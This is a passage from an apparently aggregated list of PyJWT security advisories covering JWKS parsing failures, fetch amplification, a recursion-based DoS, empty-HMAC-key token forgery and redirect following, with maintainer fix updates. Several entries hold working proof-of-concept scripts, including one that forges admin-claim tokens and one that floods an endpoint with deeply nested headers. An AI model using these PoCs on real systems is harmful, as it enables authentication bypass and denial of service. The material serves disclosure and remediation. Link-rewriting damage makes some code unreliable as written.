"AAAAAA", # not the true private exponent for n/e, no CRT params present } jwks_doc = {"keys": [bad_jwk, good_jwk]} jwt.PyJWKSet.from_dict(jwks_doc) ##### raises: ValueError: Unable to compute factors p and q from exponent d. ##### (uncaught -- PyJWKSet.__init__ never returns, `good_jwk` is never added) ``` ##### Impact `PyJWKSet.__init__` raises before completing, so no key in the JWK Set is added to the resulting set, including keys unrelated to the malformed entry. This requires the malformed key to already be present in a JWK Set the application parses (e.g. one entry in an aggregated/federated key set, or a key affected by transit corruption before signature verification of the JWKS transport itself). Applications that vet each key individually before adding it to a trusted set are not affected. The failure is an uncaught `ValueError`, not one of PyJWT's documented `jwt.exceptions.*` types, so exception handling written against PyJWT's documented contract (`except jwt.exceptions.PyJWTError`) will not catch it either. ##### Suggested remediation Wrap the key-construction call in `PyJWK.__init__` (`api_jwk.py:82`) so a `ValueError` is converted into `InvalidKeyError` (a `PyJWTError` subclass): ```python try: self.key = self.Algorithm.from_jwk(self._jwk_data) except ValueError as e: raise InvalidKeyError(f"Unable to construct key from JWK: {e}") from e ``` This lets `PyJWKSet.__init__`'s existing `except PyJWTError: continue` skip the one malformed key as its own comment already states is intended. ##### Responsible Disclosure Timeline Per the [OWASP Vulnerability Disclosure Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html) and [Google Project Zero's 2020 disclosure policy](https://projectzero.google/2020/01/policy-and-disclosure-2020-edition.html): - **Day 0** (date of submission): to be set to the actual API response's `created_at` timestamp when this report is submitted. If submitted on the date of this draft (2026-09-05), Day 0 = 2026-09-05. - **Day 90** (full-public-disclosure deadline, regardless of fix status): Day 0 + 90 days -- 2026-12-04 if Day 0 is 2026-09-05. - A brief mutually-agreed extension (standard 14-day grace period) is available if a fix is scheduled but not yet shipped by Day 90 -- extending to 2026-12-18 in that case. - This window may shorten instead of extend if the issue is confirmed under active exploitation. ##### Try It Yourself (Sandbox) Reproduce the PoC above, and attempt your own fix, in an isolated sandbox with no access to production systems, secrets, or real data. - Sandbox: [jwt.py](https://play.secdim.com/game/python/challenge/jwtpy) - Course: [Tenant Zero: AI & SaaS Authz Failures](https://learn.secdim.com/course/tenant-zero) ##### Credit Discovered and reported by SecDim Security Research: secdim.com, @&#8203;secdim, security@secdim.com. ##### Maintainer update — 2026-09-08 We reproduced the reported behavior on PyJWT 2.13.0 with `cryptography` installed: a malformed RSA private JWK containing an invalid `d` value and no CRT parameters raised a plain `ValueError` while parsing a JWK set. Because `PyJWKSet` skips `PyJWTError` instances only, that exception aborted parsing before subsequent valid keys were loaded. The impact is a conditional availability failure for applications that parse a key set containing a malformed entry; it is not a signature-forgery or claims-verification bypass. The independently verified affected range is `>= 2.9.0, <= 2.13.0`; earlier releases were not checked. A narrow fix has been prepared in commit `8915570` based on master commit `5fa7594`: `PyJWK` converts key-construction `ValueError` exceptions to `InvalidKeyError`, allowing the existing `PyJWKSet` skip path to continue. Regression coverage verifies that a malformed RSA key is skipped while a valid key in the same set remains usable. The full suite passes with 370 tests and 4 intentional cryptography-environment skips; formatting, lint, and targeted type checks pass. The advisory remains in triage while the fix goes through release planning. #### Severity - CVSS Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w6j9-cwv2-h6wq](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w6j9-cwv2-h6wq) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102274](https://nvd.nist.gov/vuln/detail/CVE-2026-102274) - [https://github.com/jpadilla/pyjwt/commit/8915570a0bfda9f0ff0e34e7fb09bdb9d71580cf](https://github.com/jpadilla/pyjwt/commit/8915570a0bfda9f0ff0e34e7fb09bdb9d71580cf) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w6j9-cwv2-h6wq) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524) [CVE-2026-101917](https://nvd.nist.gov/vuln/detail/CVE-2026-101917) / [GHSA-2gx3-rcp4-g85q](https://github.com/advisories/GHSA-2gx3-rcp4-g85q) / PYSEC-2026-4140 <details> <summary>More information</summary> #### Details Summary CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids. At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call. Affected pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet. Proof of concept (verified on 2.13.0, cache enabled = realistic prod config) import threading, http.server, socketserver, json from jwt import PyJWKClient hits = {'n': 0} JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode() class H(http.server.BaseHTTPRequestHandler): def do_GET(self): hits['n'] += 1 self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers() self.wfile.write(JWKS) def log_message(self,*a): pass srv = socketserver.TCPServer(('[127.0.0.1](https://127.0.0.1/)',0), H); port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() c = PyJWKClient(f'http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json', cache_keys=True, lifespan=3600) for i in range(8): try: c.get_signing_key(f'attacker-unknown-kid-{i}') except Exception: pass before = hits['n'] for _ in range(5): try: c.get_signing_key('same-unknown') except Exception: pass print('distinct unknown kids: 8 -> fetches:', hits['n']) print('same unknown kid x5 -> extra fetches:', hits['n'] - before) Output: distinct unknown kids: 8 -> fetches: 9 same unknown kid x5 -> extra fetches: 5 Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache. Impact One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix. Suggested fix Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches. Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed. Reported by Babakizo (Securva). ##### Maintainer update — 2026-09-10 The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching enabled, an unknown `kid` previously forced an unconditional JWKS refresh, including when the same unknown value was repeated while the cached key set was still valid. This allowed unauthenticated token headers to cause unnecessary outbound JWKS requests and repeated parsing work. The fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a 30-second cooldown after successful JWKS fetches before permitting another unknown-`kid` refresh, serializes concurrent refresh decisions per client, and allows callers to configure or disable the cooldown. Cache-disabled behavior and immediate retry after failed fetches remain unchanged. Regression tests cover repeated unknown kids, cooldown expiry, concurrent misses, cache-disabled operation, and invalid cooldown values. The available full tox matrix, Ruff, and mypy checks pass. The fix will be included in the next released 2.x version. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-2gx3-rcp4-g85q) - [https://nvd.nist.gov/vuln/detail/CVE-2026-101917](https://nvd.nist.gov/vuln/detail/CVE-2026-101917) - [https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1](https://github.com/jpadilla/pyjwt/commit/ba4853a75fb9676362da17f67d0f64bd18afd4e1) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-2gx3-rcp4-g85q](https://github.com/advisories/GHSA-2gx3-rcp4-g85q) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4140) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT: Uncaught RecursionError in jwt.decode() on deeply nested token header [CVE-2026-102265](https://nvd.nist.gov/vuln/detail/CVE-2026-102265) / [GHSA-8wjv-2p76-3863](https://github.com/advisories/GHSA-8wjv-2p76-3863) / PYSEC-2026-4142 <details> <summary>More information</summary> #### Details ##### Package pyjwt (PyPI) ##### Affected versions tested & verified on: 2.13.0. Every version whose `PyJWS._load()` translates only `ValueError` is affected ##### Description `PyJWS._looad()` (`jwt/api_jws.py:337`) splits the compact token, base64url decodes the header segment and hands it to `json.loads()` before `_verify_signature()` runs. The parse is wrapped in `except ValueError as e: raise DecodeError(...)`. That is what makes the documented contract sufficient for untrusted input: `except jwt.PyJWTError` (or `InvalidTokenError`) around `jwt.decode(token, key, algorithms=[...])`. CPython's JSON decoder raises `RecursionError` (a `RuntimeError` subclass, not a `ValueError`) once nesting crosses the native stack guard. That exception leaves `_load()`, then `jwt.decode()`, and matches no `PyJWTError` handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices. Scope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean `DecodeError` (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an `Authorization` header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives. ##### Proof of concept Against any endpoint that validates a token from its JSON body with the documented pattern: ```python import base64, json, http.client def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=") ##### unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total) token = (b64url(b"[" * 200_000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode() conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30) conn.request("POST", "/api/protected", body=json.dumps({"token": token}), headers={"Content-Type": "application/json"}) print(conn.getresponse().status) # 500, expected 401 ``` Determinism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a `RecursionError: Stack overflow ... while decoding a JSON array` traceback in the error log. ##### Impact An unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure). ##### Fix Catch `RecursionError` alongside `ValueError` in `_load()` and raise `DecodeError`, or parse the header with a nonrecursive, depthbounded parser. ##### Reproduction A standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report: ``` cd <package dir> docker compose up -d --build python3 poc_check_then_attack.py docker compose down -v ``` [poc_pyjwt_recursion.zip](https://github.com/user-attachments/files/31614987/poc_pyjwt_recursion.zip) Exit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in `docker logs`, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's `run_log.txt` documents a complete proof run. ##### Credits - @&#8203;Nivid42 ##### Maintainer update — 2026-09-09 We reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches `json.loads()` before signature verification and raises `RecursionError`, which is not a `PyJWTError`. The same input is accepted by the public `jwt.decode()` path and can escape an application's normal `except PyJWTError` handling. The fix is committed as `06573692ebcdec8831c3927513b3e87c31fbbb62`. `PyJWS._load()` now translates both `ValueError` and `RecursionError` from header JSON parsing into `DecodeError`. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips. No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-8wjv-2p76-3863](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-8wjv-2p76-3863) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102265](https://nvd.nist.gov/vuln/detail/CVE-2026-102265) - [https://github.com/jpadilla/pyjwt/commit/06573692ebcdec8831c3927513b3e87c31fbbb62](https://github.com/jpadilla/pyjwt/commit/06573692ebcdec8831c3927513b3e87c31fbbb62) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-8wjv-2p76-3863](https://github.com/advisories/GHSA-8wjv-2p76-3863) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4142) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation [CVE-2026-102266](https://nvd.nist.gov/vuln/detail/CVE-2026-102266) / [GHSA-9j54-fg26-wv3r](https://github.com/advisories/GHSA-9j54-fg26-wv3r) / PYSEC-2026-4143 <details> <summary>More information</summary> #### Details ##### Summary A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated. PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw `str`/`bytes` key path, but accepts the same zero-length key when it is supplied as a symmetric `PyJWK`. An `oct` JWK containing an empty Base64URL key value: ```json {"kty":"oct","k":""} ``` is decoded to `b""`. During signature verification, the `PyJWK` path uses this decoded value directly and does not invoke the empty-key validation in `HMACAlgorithm.prepare_key`. With the default `enforce_minimum_key_length=False`, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key. An attacker can independently calculate `HMAC-SHA256(b"", signing_input)` and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty `oct` JWK through `PyJWK` or `PyJWKSet` can therefore accept attacker-generated tokens as authenticated. The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as `"k": ""`. The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list. ##### Details The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through `PyJWK`. ##### Raw empty HMAC keys are rejected [`[HMACAlgorithm.prepare_key](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key. As a result, an empty raw key is rejected in PyJWT 2.13.0: ```python jwt.decode(token, b"", algorithms=["HS256"]) ``` with `InvalidKeyError`. ##### Empty `oct` JWKs decode to the same key but are accepted [`[HMACAlgorithm.from_jwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs. For: ```json { "kty": "oct", "k": "" } ``` the empty Base64URL value is decoded to: ```python b"" ``` and returned without an emptiness check. [`[PyJWK.__init__](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in `self.key`. The resulting `PyJWK` therefore contains the same zero-length byte string rejected by the raw-key path. ##### `PyJWK` verification bypasses the raw-key validation [`[PyJWS._verify_signature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416)`](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for `PyJWK` objects. When a `PyJWK` is supplied, verification uses its already-decoded key directly: ```python prepared_key = key.key ``` The value is not passed through: ```python alg_obj.prepare_key(key.key) ``` so the empty-key check in `HMACAlgorithm.prepare_key` is never reached. The minimum HMAC key-length check does not reject the key under the default configuration. With `enforce_minimum_key_length=False`, PyJWT emits a warning and continues signature verification. The verifier therefore receives: ```python b"" ``` as the HS256 key. This creates the following difference for identical cryptographic key material: ```text raw b"" -> HMACAlgorithm.prepare_key -> InvalidKeyError {"kty":"oct","k":""} -> HMACAlgorithm.from_jwk -> b"" -> PyJWK.key -> PyJWS._verify_signature -> HMAC verification with b"" -> accepted ``` Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret. This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an `oct` symmetric JWK, HS256 only, and the `PyJWK` verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required. The issue was reproduced against PyJWT 2.13.0 and commit: ```text 7144e4534c34810f4525dc4578a32addd8212cff ``` which was the tip of the public `master` branch at the time of testing. ##### PoC The following PoC reproduces the issue on PyJWT 2.13.0. It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set. Install PyJWT 2.13.0: ```bash python -m venv venv source venv/bin/activate pip install "PyJWT==2.13.0" ``` Save the following as `poc.py`: ```python import base64 import hashlib import hmac import json import time import warnings import jwt from jwt import PyJWKSet from jwt.exceptions import InvalidKeyError, InvalidSignatureError def b64u(value: bytes) -> bytes: return base64.urlsafe_b64encode(value).rstrip(b"=") now = int(time.time()) header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode()) payload = b64u( json.dumps( {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300}, separators=(",", ":"), ).encode() ) signing_input = header + b"." + payload forged = ( signing_input + b"." + b64u(hmac.new(b"", signing_input, hashlib.sha256).digest()) ).decode() jwk = PyJWKSet.from_dict( { "keys": [ { "kty": "oct", "k": "", "kid": "active", "alg": "HS256", "use": "sig", } ] } )["active"] with warnings.catch_warnings(): warnings.simplefilter("ignore") claims = jwt.decode( forged, jwk, algorithms=["HS256"], options={"require": ["exp"]}, ) assert claims["sub"] == "attacker" assert claims["admin"] is True print("VULNERABLE:", claims) try: jwt.decode(forged, b"", algorithms=["HS256"]) except InvalidKeyError: print("CONTROL raw empty key: rejected") else: raise AssertionError("raw empty key was accepted") try: jwt.decode( forged, jwk, algorithms=["HS256"], options={"enforce_minimum_key_length": True}, ) except InvalidKeyError: print("CONTROL strict PyJWK: rejected") else: raise AssertionError("strict PyJWK was accepted") real_key = PyJWKSet.from_dict( { "keys": [ { "kty": "oct", "k": "cmVhbC1zZWNyZXQ", "kid": "active", "alg": "HS256", } ] } )["active"] try: with warnings.catch_warnings(): warnings.simplefilter("ignore") jwt.decode(forged, real_key, algorithms=["HS256"]) except InvalidSignatureError: print("CONTROL non-empty PyJWK: rejected") else: raise AssertionError("non-empty PyJWK accepted an empty-key forgery") ``` Run: ```bash python poc.py ``` Observed output: ```text VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>} CONTROL raw empty key: rejected CONTROL strict PyJWK: rejected CONTROL non-empty PyJWK: rejected ``` The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through `PyJWK`. The first control supplies the same key material directly as `b""`. PyJWT 2.13.0 rejects it with `InvalidKeyError`. The second control enables `enforce_minimum_key_length`, which also rejects the empty `PyJWK`. The third control changes only the JWK key material to a non-empty value. The same forged token then fails with `InvalidSignatureError`. I also reproduced the result through the following verification paths: ```python jwt.decode(token, PyJWK, algorithms=["HS256"]) jwt.decode(token, PyJWK) jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"]) PyJWS().decode(token, PyJWK, algorithms=["HS256"]) ``` All accepted an HS256 token whose signature was generated using the zero-length HMAC key. As an execution-path check, after constructing the `PyJWK`, I replaced `HMACAlgorithm.prepare_key` with a function that immediately raises. Verification using the `PyJWK` still accepted the forged token, while the raw-key path reached `prepare_key` and rejected the empty key. ##### Impact This is an authentication bypass caused by inconsistent validation of empty HMAC keys. Affected applications are services that verify HS256 JWTs using `PyJWK`, `PyJWKSet`, or another path that produces a `PyJWK`, where the configured `oct` JWK contains an empty HMAC key and minimum key-length enforcement is not enabled. For example, an application could and produces: ```json { "kty": "oct", "k": "", "kid": "active", "alg": "HS256" } ``` when the expected Base64URL secret value is missing. Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is `b""` and can therefore calculate a valid HMAC for any signing input. The attacker can choose arbitrary claims such as: ```json { "sub": "attacker", "admin": true, "exp": 1787100000 } ``` and produce a signature that PyJWT accepts as valid. Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources. Validation of claims such as `exp`, `aud`, `iss`, or `sub` does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature. The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N ##### Maintainer update — 2026-09-09 We reproduced the reported discrepancy on PyJWT 2.13.0: an empty `oct` JWK supplied through `PyJWK` reached HS256 verification as `b""`, while the equivalent raw empty key was rejected by `HMACAlgorithm.prepare_key()`. The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source. This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths. The fix is committed as `f91ed44dd65baaf457f4b3353ed35e98a753934c`. PyJWK verification now routes the decoded key through the selected algorithm's `prepare_key()` validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through `PyJWK`; existing JWS behavior remains covered. The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification. The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning. ##### Classification update — 2026-09-10 We completed the advisory classification review. The proposed CVSS 3.1 vector is `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9j54-fg26-wv3r](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9j54-fg26-wv3r) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102266](https://nvd.nist.gov/vuln/detail/CVE-2026-102266) - [https://github.com/jpadilla/pyjwt/commit/f91ed44dd65baaf457f4b3353ed35e98a753934c](https://github.com/jpadilla/pyjwt/commit/f91ed44dd65baaf457f4b3353ed35e98a753934c) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-9j54-fg26-wv3r](https://github.com/advisories/GHSA-9j54-fg26-wv3r) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4143) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT: PyJWKClient follows redirects when fetching JWKS [CVE-2026-102267](https://nvd.nist.gov/vuln/detail/CVE-2026-102267) / [GHSA-9v7f-9g4p-ffgj](https://github.com/advisories/GHSA-9v7f-9g4p-ffgj) / PYSEC-2026-4144 <details> <summary>More information</summary> #### Details ##### Summary PyJWT 2.13.0 `PyJWKClient` followed HTTP redirects while fetching a JWKS, without validating the redirect destination. A configured trusted endpoint could therefore redirect the client to a different host. ##### Impact When an application uses `PyJWKClient` with caller-supplied request headers and an attacker can influence the configured endpoint's response, the redirected request could expose those headers and the redirected response could be used as authoritative key material. This could cause JWKS trust poisoning and, in affected mixed-configuration applications, forged JWT acceptance. The issue requires an attacker-influenced redirect from the configured JWKS endpoint; it is not triggered by a token `kid` alone. ##### Affected versions PyJWT `<= 2.13.0`. ##### Fix The issue is fixed on `master` in commit [`0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56`](https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56). `PyJWKClient` now disables automatic redirects for JWKS fetches. Regression tests verify that a redirect is rejected without contacting its destination, while normal fetches, headers, caching, errors, timeouts, and SSL context remain covered. The fix is present in the unreleased development branch. The patched version will be recorded after a released PyJWT 2.x version containing the fix is confirmed. ##### Credit Credit: the original reporter of GHSA-9v7f-9g4p-ffgj. Additional redirect header-leak and cache-poisoning evidence from the newer duplicate report GHSA-43g3-98cx-x446 is preserved in the duplicate record and informed this canonical advisory update. ##### Maintainer update — 2026-09-11 The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version. #### Severity - CVSS Score: 7.4 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9v7f-9g4p-ffgj](https://github.com/jpadilla/pyjwt/security/advisories/GHSA-9v7f-9g4p-ffgj) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102267](https://nvd.nist.gov/vuln/detail/CVE-2026-102267) - [https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56](https://github.com/jpadilla/pyjwt/commit/0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56) - [https://github.com/jpadilla/pyjwt](https://github.com/jpadilla/pyjwt) - [https://github.com/jpadilla/pyjwt/releases/tag/2.14.0](https://github.com/jpadilla/pyjwt/releases/tag/2.14.0) - [https://pypi.org/project/pyjwt](https://pypi.org/project/pyjwt) - [https://github.com/advisories/GHSA-9v7f-9g4p-ffgj](https://github.com/advisories/GHSA-9v7f-9g4p-ffgj) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-4144) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard [CVE-2026-102268](https://nvd.nist.gov/vuln/detail/CVE-2026-102268) / [GHSA-ffc3-869f-jxw9](https://github.com/advisories/GHSA-ffc3-869f-jxw9) / PYSEC-2026-4145 <details> <summary>More information</summary> #### Details **Prerequisites** (both conditions must hold; both are deployment properties, not attacker-controlled at request time): - The `jwt.decode` allow-list mixes an HMAC algorithm with an asymmetric one, e.g. `algorithms=["ES256", "HS256"]` (the RFC 8725 footgun the guard exists to backstop). - The verification key is passed as raw PEM text/bytes on the non-`PyJWK` path, in a byte-form that `cryptography`'s loader accepts but PyJWT's `is_pem_format` regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an 